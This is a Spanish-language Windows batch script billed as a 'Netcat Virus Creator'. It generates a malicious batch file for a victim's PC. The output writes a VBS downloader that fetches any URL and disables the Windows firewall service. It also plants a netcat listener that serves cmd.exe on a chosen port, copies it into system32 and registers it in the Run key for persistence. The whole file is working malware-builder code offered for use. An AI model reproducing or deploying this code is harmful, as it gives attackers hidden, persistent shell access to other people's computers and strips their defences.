Netcat Virus Creator By The Maxu

echo off
color 1A
mode con cols=65lines=44
title Mini creador de virus NC by TheMaxu
cls
echo.
echo    ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo    º           THE MAXU Mini Creador            º
echo    ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Seleciona el nombre para el Virus:
echo.
set /p name=
echo @echo off > C:\%name%.bat
echo.
echo Archivo Creado en C:\ con el nombre: %name%.bat
pause > nul
goto menu

:menu
title Mini creador de virus NC by TheMaxu
cls
echo.
echo    ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo    º           THE MAXU Mini Creador            º
echo    ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo.
echo Utilice el descargador para descargar Nc en el pc de la victima.
echo Utilice Abrir puertos para selecionar el puerto a abrir
echo.
echo.
echo  1.Selecionar las opciones de descarga
echo  2.Descomprimir Zip
echo  3.Abrir puerto de Netcat
echo  4.Informacion
echo  5.Finalizar
echo.
echo.
set /p menup=¿Que desea Hacer?: 
if %menup%==1 goto descargador
if %menup%==2 goto zip
if %menup%==3 goto netcat
if %menup%==4 goto info
if %menup%==5 goto finalizar

:descargador
title -Descargador De Archivos
Cls
echo  Escriba la direcion de la descarga
set /p direciondescarga=
echo  Escriba la ruta en la que se guardara(ej: C:\imagen.png o C:\programa.exe)
set /p guardardescarga=
echo  Escriba un nombre para utilizar el vbs
set /p descarga=
echo echo Const adTypeBinary = 1 ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Const adSaveCreateOverWrite = 2 ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Dim BinaryStream ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Set BinaryStream = CreateObject("ADODB.Stream") ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryStream.Type = adTypeBinary ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryStream.Open ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Function BinaryGetURL(URL) ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Dim Http ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Http.Open "GET", URL, False ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo Http.Send ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo BinaryGetURL = Http.ResponseBody ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo echo End Function ^>^>c:\%descarga%.vbs >> C:\%name%.bat
echo CScript //nologo c:\%descarga%.vbs "%direciondescarga%" "%guardardescarga%" >> C:\%name%.bat
echo Del c:\%descarga%.vbs >> C:\%name%.bat
goto menu

:zip
echo.
echo No disponible temporalmente
echo.
pause >null
goto menu

:netcat
cls
echo Selecione el puerto para NetCat 
echo.
echo Luego podra conectarse al pc mendiante
echo netcat en ese puerto.
echo.
set /p puerto=
echo NET STOP "SharedAccess" >> C:\%name%.bat
echo echo @echo off ^>^> C:\netcat.bat >> C:\%name%.bat
echo echo nc -d -L -p %puerto% -e cmd.exe ^>^> C:\netcat.bat >> C:\%name%.bat
echo echo exit ^>^> C:\netcat.bat >> C:\%name%.bat
echo reg add hklm\software\microsoft\windows\currentversion\run /V C:\netcat.bat /D %windir%\system32\netcat.bat>> C:\%name%.bat
echo copy /Y C:\netcat.bat %windir%\system32 >> C:\%name%.bat
echo del C:\netcat.bat >> C:\%name%.bat
cls
echo ok, virus editado.
pause > nul
goto menu

:info
cls
echo.
echo    ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo    º           THE MAXU Mini Creador            º
echo    ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo  Utilize este programa para crear un acceso a una pc 
echo  desde netcat, utilize el descargador para que se 
echo  descargue netcat o un zip con este(abra que descomprimir)
echo  y luego incluya el codigo para abrir el puerto.
echo.
echo.
echo                               The Maxu
pause >null
goto menu

:finalizar
echo exit >> C:\%name%.bat
exit